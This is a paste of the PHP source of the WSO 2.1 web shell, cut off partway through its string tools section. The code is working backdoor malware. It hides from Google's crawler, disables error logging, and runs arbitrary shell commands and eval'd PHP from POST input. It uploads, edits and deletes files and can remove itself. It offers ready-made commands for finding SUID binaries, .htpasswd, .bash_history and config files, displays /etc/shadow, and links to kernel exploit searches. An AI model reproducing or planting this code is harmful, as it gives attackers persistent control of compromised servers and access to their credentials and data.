· 9 years ago · Apr 23, 2017, 01:32 AM
1<?php
2/* WSO 2.1 (Web Shell by oRb) */
3$auth_pass = "";
4$color = "#df5";
5$default_action = 'FilesMan';
6@define('SELF_PATH', __FILE__);
7if( strpos($_SERVER['HTTP_USER_AGENT'],'Google') !== false ) {
8 header('HTTP/1.0 404 Not Found');
9 exit;
10}
11@session_start();
12@error_reporting(0);
13@ini_set('error_log',NULL);
14@ini_set('log_errors',0);
15@ini_set('max_execution_time',0);
16@set_time_limit(0);
17@set_magic_quotes_runtime(0);
18@define('VERSION', '2.1');
19if( get_magic_quotes_gpc() ) {
20 function stripslashes_array($array) {
21 return is_array($array) ? array_map('stripslashes_array', $array) : stripslashes($array);
22 }
23 $_POST = stripslashes_array($_POST);
24}
25function printLogin() {
26 ?>
27 <center>
28 <form method=post>
29 Password: <input type=password name=pass><input type=submit value='>>'>
30 </form></center>
31 <?php
32 exit;
33}
34if( !isset( $_SESSION[md5($_SERVER['HTTP_HOST'])] ))
35 if( empty( $auth_pass ) ||
36 ( isset( $_POST['pass'] ) && ( md5($_POST['pass']) == $auth_pass ) ) )
37 $_SESSION[md5($_SERVER['HTTP_HOST'])] = true;
38 else
39 printLogin();
40
41if( strtolower( substr(PHP_OS,0,3) ) == "win" )
42 $os = 'win';
43else
44 $os = 'nix';
45$safe_mode = @ini_get('safe_mode');
46$disable_functions = @ini_get('disable_functions');
47$home_cwd = @getcwd();
48if( isset( $_POST['c'] ) )
49 @chdir($_POST['c']);
50$cwd = @getcwd();
51if( $os == 'win') {
52 $home_cwd = str_replace("\\", "/", $home_cwd);
53 $cwd = str_replace("\\", "/", $cwd);
54}
55if( $cwd[strlen($cwd)-1] != '/' )
56 $cwd .= '/';
57
58if($os == 'win')
59 $aliases = array(
60 "List Directory" => "dir",
61 "Find index.php in current dir" => "dir /s /w /b index.php",
62 "Find *config*.php in current dir" => "dir /s /w /b *config*.php",
63 "Show active connections" => "netstat -an",
64 "Show running services" => "net start",
65 "User accounts" => "net user",
66 "Show computers" => "net view",
67 "ARP Table" => "arp -a",
68 "IP Configuration" => "ipconfig /all"
69 );
70else
71 $aliases = array(
72 "List dir" => "ls -la",
73 "list file attributes on a Linux second extended file system" => "lsattr -va",
74 "show opened ports" => "netstat -an | grep -i listen",
75 "Find" => "",
76 "find all suid files" => "find / -type f -perm -04000 -ls",
77 "find suid files in current dir" => "find . -type f -perm -04000 -ls",
78 "find all sgid files" => "find / -type f -perm -02000 -ls",
79 "find sgid files in current dir" => "find . -type f -perm -02000 -ls",
80 "find config.inc.php files" => "find / -type f -name config.inc.php",
81 "find config* files" => "find / -type f -name \"config*\"",
82 "find config* files in current dir" => "find . -type f -name \"config*\"",
83 "find all writable folders and files" => "find / -perm -2 -ls",
84 "find all writable folders and files in current dir" => "find . -perm -2 -ls",
85 "find all service.pwd files" => "find / -type f -name service.pwd",
86 "find service.pwd files in current dir" => "find . -type f -name service.pwd",
87 "find all .htpasswd files" => "find / -type f -name .htpasswd",
88 "find .htpasswd files in current dir" => "find . -type f -name .htpasswd",
89 "find all .bash_history files" => "find / -type f -name .bash_history",
90 "find .bash_history files in current dir" => "find . -type f -name .bash_history",
91 "find all .fetchmailrc files" => "find / -type f -name .fetchmailrc",
92 "find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc",
93 "Locate" => "",
94 "locate httpd.conf files" => "locate httpd.conf",
95 "locate vhosts.conf files" => "locate vhosts.conf",
96 "locate proftpd.conf files" => "locate proftpd.conf",
97 "locate psybnc.conf files" => "locate psybnc.conf",
98 "locate my.conf files" => "locate my.conf",
99 "locate admin.php files" =>"locate admin.php",
100 "locate cfg.php files" => "locate cfg.php",
101 "locate conf.php files" => "locate conf.php",
102 "locate config.dat files" => "locate config.dat",
103 "locate config.php files" => "locate config.php",
104 "locate config.inc files" => "locate config.inc",
105 "locate config.inc.php" => "locate config.inc.php",
106 "locate config.default.php files" => "locate config.default.php",
107 "locate config* files " => "locate config",
108 "locate .conf files"=>"locate '.conf'",
109 "locate .pwd files" => "locate '.pwd'",
110 "locate .sql files" => "locate '.sql'",
111 "locate .htpasswd files" => "locate '.htpasswd'",
112 "locate .bash_history files" => "locate '.bash_history'",
113 "locate .mysql_history files" => "locate '.mysql_history'",
114 "locate .fetchmailrc files" => "locate '.fetchmailrc'",
115 "locate backup files" => "locate backup",
116 "locate dump files" => "locate dump",
117 "locate priv files" => "locate priv"
118 );
119
120function printHeader() {
121 if(empty($_POST['charset']))
122 $_POST['charset'] = "UTF-8";
123 global $color;
124 ?>
125<html><head><meta http-equiv='Content-Type' content='text/html; charset=<?=$_POST['charset']?>'><title><?=$_SERVER['HTTP_HOST']?> - WSO <?=VERSION?></title>
126<style>
127 body {background-color:#444;color:#e1e1e1;}
128 body,td,th { font: 9pt Lucida,Verdana;margin:0;vertical-align:top; }
129 table.info { color:#fff;background-color:#222; }
130 span,h1,a { color:<?=$color?> !important; }
131 span { font-weight: bolder; }
132 h1 { border-left:5px solid <?=$color?>;padding: 2px 5px;font: 14pt Verdana;background-color:#222;margin:0px; }
133 div.content { padding: 5px;margin-left:5px;background-color:#333; }
134 a { text-decoration:none; }
135 a:hover { text-decoration:underline; }
136 .ml1 { border:1px solid #444;padding:5px;margin:0;overflow: auto; }
137 .bigarea { width:100%;height:250px; }
138 input, textarea, select { margin:0;color:#fff;background-color:#555;border:1px solid <?=$color?>; font: 9pt Monospace,"Courier New"; }
139 form { margin:0px; }
140 #toolsTbl { text-align:center; }
141 .toolsInp { width: 300px }
142 .main th {text-align:left;background-color:#5e5e5e;}
143 .main tr:hover{background-color:#5e5e5e}
144 .main td, th{vertical-align:middle}
145 .l1 {background-color:#444}
146 pre {font-family:Courier,Monospace;}
147</style>
148<script>
149 function set(a,c,p1,p2,p3,charset) {
150 if(a != null)document.mf.a.value=a;
151 if(c != null)document.mf.c.value=c;
152 if(p1 != null)document.mf.p1.value=p1;
153 if(p2 != null)document.mf.p2.value=p2;
154 if(p3 != null)document.mf.p3.value=p3;
155 if(charset != null)document.mf.charset.value=charset;
156 }
157 function g(a,c,p1,p2,p3,charset) {
158 set(a,c,p1,p2,p3,charset);
159 document.mf.submit();
160 }
161 function a(a,c,p1,p2,p3,charset) {
162 set(a,c,p1,p2,p3,charset);
163 var params = "ajax=true";
164 for(i=0;i<document.mf.elements.length;i++)
165 params += "&"+document.mf.elements[i].name+"="+encodeURIComponent(document.mf.elements[i].value);
166 sr('<?=$_SERVER['REQUEST_URI'];?>', params);
167 }
168 function sr(url, params) {
169 if (window.XMLHttpRequest) {
170 req = new XMLHttpRequest();
171 req.onreadystatechange = processReqChange;
172 req.open("POST", url, true);
173 req.setRequestHeader ("Content-Type", "application/x-www-form-urlencoded");
174 req.send(params);
175 }
176 else if (window.ActiveXObject) {
177 req = new ActiveXObject("Microsoft.XMLHTTP");
178 if (req) {
179 req.onreadystatechange = processReqChange;
180 req.open("POST", url, true);
181 req.setRequestHeader ("Content-Type", "application/x-www-form-urlencoded");
182 req.send(params);
183 }
184 }
185 }
186 function processReqChange() {
187 if( (req.readyState == 4) )
188 if(req.status == 200) {
189 //alert(req.responseText);
190 var reg = new RegExp("(\\d+)([\\S\\s]*)", "m");
191 var arr=reg.exec(req.responseText);
192 eval(arr[2].substr(0, arr[1]));
193 }
194 else alert("Request error!");
195 }
196</script>
197<head><body><div style="position:absolute;width:100%;background-color:#444;top:0;left:0;">
198<form method=post name=mf style='display:none;'>
199<input type=hidden name=a value='<?=isset($_POST['a'])?$_POST['a']:''?>'>
200<input type=hidden name=c value='<?=htmlspecialchars($GLOBALS['cwd'])?>'>
201<input type=hidden name=p1 value='<?=isset($_POST['p1'])?htmlspecialchars($_POST['p1']):''?>'>
202<input type=hidden name=p2 value='<?=isset($_POST['p2'])?htmlspecialchars($_POST['p2']):''?>'>
203<input type=hidden name=p3 value='<?=isset($_POST['p3'])?htmlspecialchars($_POST['p3']):''?>'>
204<input type=hidden name=charset value='<?=isset($_POST['charset'])?$_POST['charset']:''?>'>
205</form>
206<?php
207 $freeSpace = @diskfreespace($GLOBALS['cwd']);
208 $totalSpace = @disk_total_space($GLOBALS['cwd']);
209 $totalSpace = $totalSpace?$totalSpace:1;
210 $release = @php_uname('r');
211 $kernel = @php_uname('s');
212 $millink='http://milw0rm.com/search.php?dong=';
213 if( strpos('Linux', $kernel) !== false )
214 $millink .= urlencode( 'Linux Kernel ' . substr($release,0,6) );
215 else
216 $millink .= urlencode( $kernel . ' ' . substr($release,0,3) );
217 if(!function_exists('posix_getegid')) {
218 $user = @get_current_user();
219 $uid = @getmyuid();
220 $gid = @getmygid();
221 $group = "?";
222 } else {
223 $uid = @posix_getpwuid(@posix_geteuid());
224 $gid = @posix_getgrgid(@posix_getegid());
225 $user = $uid['name'];
226 $uid = $uid['uid'];
227 $group = $gid['name'];
228 $gid = $gid['gid'];
229 }
230 $cwd_links = '';
231 $path = explode("/", $GLOBALS['cwd']);
232 $n=count($path);
233 for($i=0;$i<$n-1;$i++) {
234 $cwd_links .= "<a href='#' onclick='g(\"FilesMan\",\"";
235 for($j=0;$j<=$i;$j++)
236 $cwd_links .= $path[$j].'/';
237 $cwd_links .= "\")'>".$path[$i]."/</a>";
238 }
239 $charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866');
240 $opt_charsets = '';
241 foreach($charsets as $item)
242 $opt_charsets .= '<option value="'.$item.'" '.($_POST['charset']==$item?'selected':'').'>'.$item.'</option>';
243 $m = array('Sec. Info'=>'SecInfo','Files'=>'FilesMan','Console'=>'Console','Infect'=>'Infect','Sql'=>'Sql','Php'=>'Php','Safe mode'=>'SafeMode','String tools'=>'StringTools','Bruteforce'=>'Bruteforce','Network'=>'Network','Domains'=>'Domains');
244
245 if(!empty($GLOBALS['auth_pass']))
246 $m['Logout'] = 'Logout';
247 $m['Self remove'] = 'SelfRemove';
248 $menu = '';
249 foreach($m as $k => $v)
250 $menu .= '<th width="'.(int)(100/count($m)).'%">[ <a href="#" onclick="g(\''.$v.'\',null,\'\',\'\',\'\')">'.$k.'</a> ]</th>';
251 $drives = "";
252 if ($GLOBALS['os'] == 'win') {
253 foreach( range('a','z') as $drive )
254 if (is_dir($drive.':\\'))
255 $drives .= '<a href="#" onclick="g(\'FilesMan\',\''.$drive.':/\')">[ '.$drive.' ]</a> ';
256 }
257 echo '<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br>User:<br>Php:<br>Hdd:<br>Cwd:'.($GLOBALS['os'] == 'win'?'<br>Drives:':'').'</span></td>'.
258 '<td><nobr>'.substr(@php_uname(), 0, 120).' <a href="http://www.google.com/search?q='.urlencode(@php_uname()).'" target="_blank">[Google]</a> <a href="'.$millink.'" target=_blank>[Exploit-DB]</a></nobr><br>'.$uid.' ( '.$user.' ) <span>Group:</span> '.$gid.' ( '.$group.' )<br>'.@phpversion().' <span>Safe mode:</span> '.($GLOBALS['safe_mode']?'<font color=red>ON</font>':'<font color=#00bb00><b>OFF</b></font>').' <a href=# onclick="g(\'Php\',null,null,\'info\')">[ phpinfo ]</a> <span>Datetime:</span> '.date('Y-m-d H:i:s').'<br>'.viewSize($totalSpace).' <span>Free:</span> '.viewSize($freeSpace).' ('.(int)($freeSpace/$totalSpace*100).'%)<br>'.$cwd_links.' '.viewPermsColor($GLOBALS['cwd']).' <a href=# onclick="g(\'FilesMan\',\''.$GLOBALS['home_cwd'].'\',\'\',\'\',\'\')">[ home ]</a><br>'.$drives.'</td>'.
259 '<td width=1 align=right><nobr><select onchange="g(null,null,null,null,null,this.value)"><optgroup label="Page charset">'.$opt_charsets.'</optgroup></select><br><span>Server IP:</span><br>'.gethostbyname($_SERVER["HTTP_HOST"]).'<br><span>Client IP:</span><br>'.$_SERVER['REMOTE_ADDR'].'</nobr></td></tr></table>'.
260 '<table style="border-top:2px solid #333;" cellpadding=3 cellspacing=0 width=100%><tr>'.$menu.'</tr></table><div style="margin:5">';
261}
262
263function printFooter() {
264 $is_writable = is_writable($GLOBALS['cwd'])?"<font color=green>[ Writeable ]</font>":"<font color=red>[ Not writable ]</font>";
265?>
266</div>
267<table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100% style="border-top:2px solid #333;border-bottom:2px solid #333;">
268 <tr>
269 <td><form onsubmit="g(null,this.c.value);return false;"><span>Change dir:</span><br><input class="toolsInp" type=text name=c value="<?=htmlspecialchars($GLOBALS['cwd']);?>"><input type=submit value=">>"></form></td>
270 <td><form onsubmit="g('FilesTools',null,this.f.value);return false;"><span>Read file:</span><br><input class="toolsInp" type=text name=f><input type=submit value=">>"></form></td>
271 </tr>
272 <tr>
273 <td><form onsubmit="g('FilesMan',null,'mkdir',this.d.value);return false;"><span>Make dir:</span><br><input class="toolsInp" type=text name=d><input type=submit value=">>"></form><?=$is_writable?></td>
274 <td><form onsubmit="g('FilesTools',null,this.f.value,'mkfile');return false;"><span>Make file:</span><br><input class="toolsInp" type=text name=f><input type=submit value=">>"></form><?=$is_writable?></td>
275 </tr>
276 <tr>
277 <td><form onsubmit="g('Console',null,this.c.value);return false;"><span>Execute:</span><br><input class="toolsInp" type=text name=c value=""><input type=submit value=">>"></form></td>
278 <td><form method='post' ENCTYPE='multipart/form-data'>
279 <input type=hidden name=a value='FilesMAn'>
280 <input type=hidden name=c value='<?=htmlspecialchars($GLOBALS['cwd'])?>'>
281 <input type=hidden name=p1 value='uploadFile'>
282 <input type=hidden name=charset value='<?=isset($_POST['charset'])?$_POST['charset']:''?>'>
283 <span>Upload file:</span><br><input class="toolsInp" type=file name=f><input type=submit value=">>"></form><?=$is_writable?></td>
284 </tr>
285
286</table>
287</div>
288</body></html>
289<?php
290}
291if ( !function_exists("posix_getpwuid") && (strpos($GLOBALS['disable_functions'], 'posix_getpwuid')===false) ) { function posix_getpwuid($p) { return false; } }
292if ( !function_exists("posix_getgrgid") && (strpos($GLOBALS['disable_functions'], 'posix_getgrgid')===false) ) { function posix_getgrgid($p) { return false; } }
293function ex($in) {
294 $out = '';
295 if(function_exists('exec')) {
296 @exec($in,$out);
297 $out = @join("\n",$out);
298 }elseif(function_exists('passthru')) {
299 ob_start();
300 @passthru($in);
301 $out = ob_get_clean();
302 }elseif(function_exists('system')) {
303 ob_start();
304 @system($in);
305 $out = ob_get_clean();
306 }elseif(function_exists('shell_exec')) {
307 $out = shell_exec($in);
308 }elseif(is_resource($f = @popen($in,"r"))) {
309 $out = "";
310 while(!@feof($f))
311 $out .= fread($f,1024);
312 pclose($f);
313 }
314 return $out;
315}
316function viewSize($s) {
317 if($s >= 1073741824)
318 return sprintf('%1.2f', $s / 1073741824 ). ' GB';
319 elseif($s >= 1048576)
320 return sprintf('%1.2f', $s / 1048576 ) . ' MB';
321 elseif($s >= 1024)
322 return sprintf('%1.2f', $s / 1024 ) . ' KB';
323 else
324 return $s . ' B';
325}
326
327function perms($p) {
328 if (($p & 0xC000) == 0xC000)$i = 's';
329 elseif (($p & 0xA000) == 0xA000)$i = 'l';
330 elseif (($p & 0x8000) == 0x8000)$i = '-';
331 elseif (($p & 0x6000) == 0x6000)$i = 'b';
332 elseif (($p & 0x4000) == 0x4000)$i = 'd';
333 elseif (($p & 0x2000) == 0x2000)$i = 'c';
334 elseif (($p & 0x1000) == 0x1000)$i = 'p';
335 else $i = 'u';
336 $i .= (($p & 0x0100) ? 'r' : '-');
337 $i .= (($p & 0x0080) ? 'w' : '-');
338 $i .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x' ) : (($p & 0x0800) ? 'S' : '-'));
339 $i .= (($p & 0x0020) ? 'r' : '-');
340 $i .= (($p & 0x0010) ? 'w' : '-');
341 $i .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x' ) : (($p & 0x0400) ? 'S' : '-'));
342 $i .= (($p & 0x0004) ? 'r' : '-');
343 $i .= (($p & 0x0002) ? 'w' : '-');
344 $i .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x' ) : (($p & 0x0200) ? 'T' : '-'));
345 return $i;
346}
347function viewPermsColor($f) {
348 if (!@is_readable($f))
349 return '<font color=#FF0000><b>'.perms(@fileperms($f)).'</b></font>';
350 elseif (!@is_writable($f))
351 return '<font color=white><b>'.perms(@fileperms($f)).'</b></font>';
352 else
353 return '<font color=#00BB00><b>'.perms(@fileperms($f)).'</b></font>';
354}
355if(!function_exists("scandir")) {
356 function scandir($dir) {
357 $dh = opendir($dir);
358 while (false !== ($filename = readdir($dh))) {
359 $files[] = $filename;
360 }
361 return $files;
362 }
363}
364function which($p) {
365 $path = ex('which '.$p);
366 if(!empty($path))
367 return $path;
368 return false;
369}
370function actionSecInfo() {
371 printHeader();
372 echo '<h1>Server security information</h1><div class=content>';
373 function showSecParam($n, $v) {
374 $v = trim($v);
375 if($v) {
376 echo '<span>'.$n.': </span>';
377 if(strpos($v, "\n") === false)
378 echo $v.'<br>';
379 else
380 echo '<pre class=ml1>'.$v.'</pre>';
381 }
382 }
383
384 showSecParam('Server software', @getenv('SERVER_SOFTWARE'));
385 showSecParam('Disabled PHP Functions', ($GLOBALS['disable_functions'])?$GLOBALS['disable_functions']:'none');
386 showSecParam('Open base dir', @ini_get('open_basedir'));
387 showSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
388 showSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir'));
389 showSecParam('cURL support', function_exists('curl_version')?'enabled':'no');
390 $temp=array();
391 if(function_exists('mysql_get_client_info'))
392 $temp[] = "MySql (".mysql_get_client_info().")";
393 if(function_exists('mssql_connect'))
394 $temp[] = "MSSQL";
395 if(function_exists('pg_connect'))
396 $temp[] = "PostgreSQL";
397 if(function_exists('oci_connect'))
398 $temp[] = "Oracle";
399 showSecParam('Supported databases', implode(', ', $temp));
400 echo '<br>';
401
402 if( $GLOBALS['os'] == 'nix' ) {
403 $userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');
404 $danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja');
405 $downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
406 showSecParam('Readable /etc/passwd', @is_readable('/etc/passwd')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"passwd\")'>[view]</a>":'no');
407 showSecParam('Readable /etc/shadow', @is_readable('/etc/shadow')?"yes <a href='#' onclick='g(\"FilesTools\", \"etc\", \"shadow\")'>[view]</a>":'no');
408 showSecParam('OS version', @file_get_contents('/proc/version'));
409 showSecParam('Distr name', @file_get_contents('/etc/issue.net'));
410 if(!$GLOBALS['safe_mode']) {
411 echo '<br>';
412 $temp=array();
413 foreach ($userful as $item)
414 if(which($item)){$temp[]=$item;}
415 showSecParam('Userful', implode(', ',$temp));
416 $temp=array();
417 foreach ($danger as $item)
418 if(which($item)){$temp[]=$item;}
419 showSecParam('Danger', implode(', ',$temp));
420 $temp=array();
421 foreach ($downloaders as $item)
422 if(which($item)){$temp[]=$item;}
423 showSecParam('Downloaders', implode(', ',$temp));
424 echo '<br/>';
425 showSecParam('Hosts', @file_get_contents('/etc/hosts'));
426 showSecParam('HDD space', ex('df -h'));
427 showSecParam('Mount options', @file_get_contents('/etc/fstab'));
428 }
429 } else {
430 showSecParam('OS Version',ex('ver'));
431 showSecParam('Account Settings',ex('net accounts'));
432 showSecParam('User Accounts',ex('net user'));
433 }
434 echo '</div>';
435 printFooter();
436}
437
438function actionPhp() {
439 if( isset($_POST['ajax']) ) {
440 $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = true;
441 ob_start();
442 eval($_POST['p1']);
443 $temp = "document.getElementById('PhpOutput').style.display='';document.getElementById('PhpOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"\n\r\t\\'\0")."';\n";
444 echo strlen($temp), "\n", $temp;
445 exit;
446 }
447 printHeader();
448 if( isset($_POST['p2']) && ($_POST['p2'] == 'info') ) {
449 echo '<h1>PHP info</h1><div class=content>';
450 ob_start();
451 phpinfo();
452 $tmp = ob_get_clean();
453 $tmp = preg_replace('!body {.*}!msiU','',$tmp);
454 $tmp = preg_replace('!a:\w+ {.*}!msiU','',$tmp);
455 $tmp = preg_replace('!h1!msiU','h2',$tmp);
456 $tmp = preg_replace('!td, th {(.*)}!msiU','.e, .v, .h, .h th {$1}',$tmp);
457 $tmp = preg_replace('!body, td, th, h2, h2 {.*}!msiU','',$tmp);
458 echo $tmp;
459 echo '</div><br>';
460 }
461 if(empty($_POST['ajax'])&&!empty($_POST['p1']))
462 $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
463 echo '<h1>Execution PHP-code</h1><div class=content><form name=pf method=post onsubmit="if(this.ajax.checked){a(null,null,this.code.value);}else{g(null,null,this.code.value,\'\');}return false;"><textarea name=code class=bigarea id=PhpCode>'.(!empty($_POST['p1'])?htmlspecialchars($_POST['p1']):'').'</textarea><input type=submit value=Eval style="margin-top:5px">';
464 echo ' <input type=checkbox name=ajax value=1 '.($_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX</form><pre id=PhpOutput style="'.(empty($_POST['p1'])?'display:none;':'').'margin-top:5px;" class=ml1>';
465 if(!empty($_POST['p1'])) {
466 ob_start();
467 eval($_POST['p1']);
468 echo htmlspecialchars(ob_get_clean());
469 }
470 echo '</pre></div>';
471 printFooter();
472}
473
474function actionFilesMan() {
475 printHeader();
476 echo '<h1>File manager</h1><div class=content>';
477 if(isset($_POST['p1'])) {
478 switch($_POST['p1']) {
479 case 'uploadFile':
480 if(!@move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name']))
481 echo "Can't upload file!";
482 break;
483 break;
484 case 'mkdir':
485 if(!@mkdir($_POST['p2']))
486 echo "Can't create new dir";
487 break;
488 case 'delete':
489 function deleteDir($path) {
490 $path = (substr($path,-1)=='/') ? $path:$path.'/';
491 $dh = opendir($path);
492 while ( ($item = readdir($dh) ) !== false) {
493 $item = $path.$item;
494 if ( (basename($item) == "..") || (basename($item) == ".") )
495 continue;
496 $type = filetype($item);
497 if ($type == "dir")
498 deleteDir($item);
499 else
500 @unlink($item);
501 }
502 closedir($dh);
503 rmdir($path);
504 }
505 if(is_array(@$_POST['f']))
506 foreach($_POST['f'] as $f) {
507 $f = urldecode($f);
508 if(is_dir($f))
509 deleteDir($f);
510 else
511 @unlink($f);
512 }
513 break;
514 case 'paste':
515 if($_SESSION['act'] == 'copy') {
516 function copy_paste($c,$s,$d){
517 if(is_dir($c.$s)){
518 mkdir($d.$s);
519 $h = opendir($c.$s);
520 while (($f = readdir($h)) !== false)
521 if (($f != ".") and ($f != "..")) {
522 copy_paste($c.$s.'/',$f, $d.$s.'/');
523 }
524 } elseif(is_file($c.$s)) {
525 @copy($c.$s, $d.$s);
526 }
527 }
528 foreach($_SESSION['f'] as $f)
529 copy_paste($_SESSION['cwd'],$f, $GLOBALS['cwd']);
530 } elseif($_SESSION['act'] == 'move') {
531 function move_paste($c,$s,$d){
532 if(is_dir($c.$s)){
533 mkdir($d.$s);
534 $h = opendir($c.$s);
535 while (($f = readdir($h)) !== false)
536 if (($f != ".") and ($f != "..")) {
537 copy_paste($c.$s.'/',$f, $d.$s.'/');
538 }
539 } elseif(is_file($c.$s)) {
540 @copy($c.$s, $d.$s);
541 }
542 }
543 foreach($_SESSION['f'] as $f)
544 @rename($_SESSION['cwd'].$f, $GLOBALS['cwd'].$f);
545 }
546 unset($_SESSION['f']);
547 break;
548 default:
549 if(!empty($_POST['p1']) && (($_POST['p1'] == 'copy')||($_POST['p1'] == 'move')) ) {
550 $_SESSION['act'] = @$_POST['p1'];
551 $_SESSION['f'] = @$_POST['f'];
552 foreach($_SESSION['f'] as $k => $f)
553 $_SESSION['f'][$k] = urldecode($f);
554 $_SESSION['cwd'] = @$_POST['c'];
555 }
556 break;
557 }
558 echo '<script>document.mf.p1.value="";document.mf.p2.value="";</script>';
559 }
560 $dirContent = @scandir(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd']);
561 if($dirContent === false) { echo 'Can\'t open this folder!'; return; }
562 global $sort;
563 $sort = array('name', 1);
564 if(!empty($_POST['p1'])) {
565 if(preg_match('!s_([A-z]+)_(\d{1})!', $_POST['p1'], $match))
566 $sort = array($match[1], (int)$match[2]);
567 }
568?>
569<script>
570 function sa() {
571 for(i=0;i<document.files.elements.length;i++)
572 if(document.files.elements[i].type == 'checkbox')
573 document.files.elements[i].checked = document.files.elements[0].checked;
574 }
575</script>
576<table width='100%' class='main' cellspacing='0' cellpadding='2'>
577<form name=files method=post>
578<?php
579 echo "<tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_name_".($sort[1]?0:1)."\")'>Name</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_size_".($sort[1]?0:1)."\")'>Size</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_modify_".($sort[1]?0:1)."\")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_perms_".($sort[1]?0:1)."\")'>Permissions</a></th><th>Actions</th></tr>";
580 $dirs = $files = $links = array();
581 $n = count($dirContent);
582 for($i=0;$i<$n;$i++) {
583 $ow = @posix_getpwuid(@fileowner($dirContent[$i]));
584 $gr = @posix_getgrgid(@filegroup($dirContent[$i]));
585 $tmp = array('name' => $dirContent[$i],
586 'path' => $GLOBALS['cwd'].$dirContent[$i],
587 'modify' => date('Y-m-d H:i:s',@filemtime($GLOBALS['cwd'].$dirContent[$i])),
588 'perms' => viewPermsColor($GLOBALS['cwd'].$dirContent[$i]),
589 'size' => @filesize($GLOBALS['cwd'].$dirContent[$i]),
590 'owner' => $ow['name']?$ow['name']:@fileowner($dirContent[$i]),
591 'group' => $gr['name']?$gr['name']:@filegroup($dirContent[$i])
592 );
593 if(@is_file($GLOBALS['cwd'].$dirContent[$i]))
594 $files[] = array_merge($tmp, array('type' => 'file'));
595 elseif(@is_link($GLOBALS['cwd'].$dirContent[$i]))
596 $links[] = array_merge($tmp, array('type' => 'link'));
597 elseif(@is_dir($GLOBALS['cwd'].$dirContent[$i])&& ($dirContent[$i] != "."))
598 $dirs[] = array_merge($tmp, array('type' => 'dir'));
599 }
600 $GLOBALS['sort'] = $sort;
601 function cmp($a, $b) {
602 if($GLOBALS['sort'][0] != 'size')
603 return strcmp($a[$GLOBALS['sort'][0]], $b[$GLOBALS['sort'][0]])*($GLOBALS['sort'][1]?1:-1);
604 else
605 return (($a['size'] < $b['size']) ? -1 : 1)*($GLOBALS['sort'][1]?1:-1);
606 }
607 usort($files, "cmp");
608 usort($dirs, "cmp");
609 usort($links, "cmp");
610 $files = array_merge($dirs, $links, $files);
611 $l = 0;
612 foreach($files as $f) {
613 echo '<tr'.($l?' class=l1':'').'><td><input type=checkbox name="f[]" value="'.urlencode($f['name']).'" class=chkbx></td><td><a href=# onclick="'.(($f['type']=='file')?'g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'view\')">'.htmlspecialchars($f['name']):'g(\'FilesMan\',\''.$f['path'].'\');"><b>[ '.htmlspecialchars($f['name']).' ]</b>').'</a></td><td>'.(($f['type']=='file')?viewSize($f['size']):$f['type']).'</td><td>'.$f['modify'].'</td><td>'.$f['owner'].'/'.$f['group'].'</td><td><a href=# onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\',\'chmod\')">'.$f['perms']
614 .'</td><td><a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'rename\')">R</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'touch\')">T</a>'.(($f['type']=='file')?' <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'edit\')">E</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'download\')">D</a>':'').'</td></tr>';
615 $l = $l?0:1;
616 }
617 ?>
618 <tr><td colspan=7>
619 <input type=hidden name=a value='FilesMan'>
620 <input type=hidden name=c value='<?=htmlspecialchars($GLOBALS['cwd'])?>'>
621 <input type=hidden name=charset value='<?=isset($_POST['charset'])?$_POST['charset']:''?>'>
622 <select name='p1'><option value='copy'>Copy</option><option value='move'>Move</option><option value='delete'>Delete</option><?php if(!empty($_SESSION['act'])&&@count($_SESSION['f'])){?><option value='paste'>Paste</option><?php }?></select> <input type="submit" value=">>"></td></tr>
623 </form></table></div>
624 <?php
625 printFooter();
626}
627
628function actionStringTools() {
629 if(!function_exists('hex2bin')) {function hex2bin($p) {return decbin(hexdec($p));}}
630 if(!function_exists('hex2ascii')) {function hex2ascii($p){$r='';for($i=0;$i<strLen($p);$i+=2){$r.=chr(hexdec($p[$i].$p[$i+1]));}return $r;}}
631 if(!function_exists('ascii2hex')) {function ascii2hex($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= dechex(ord($p[$i]));return strtoupper($r);}}
632 if(!function_exists('full_urlencode')) {function full_urlencode($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= '%'.dechex(ord($p[$i]));return strtoupper($r);}}
633
634 if(isset($_POST['ajax'])) {
635 $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = true;
636 ob_start();
637 if(function_exists($_POST['p1']))
638 echo $_POST['p1']($_POST['p2']);
639 $temp = "document.getElementById('strOutput').style.display='';document.getElementById('strOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"\n\r\t\\'\0")."';\n";
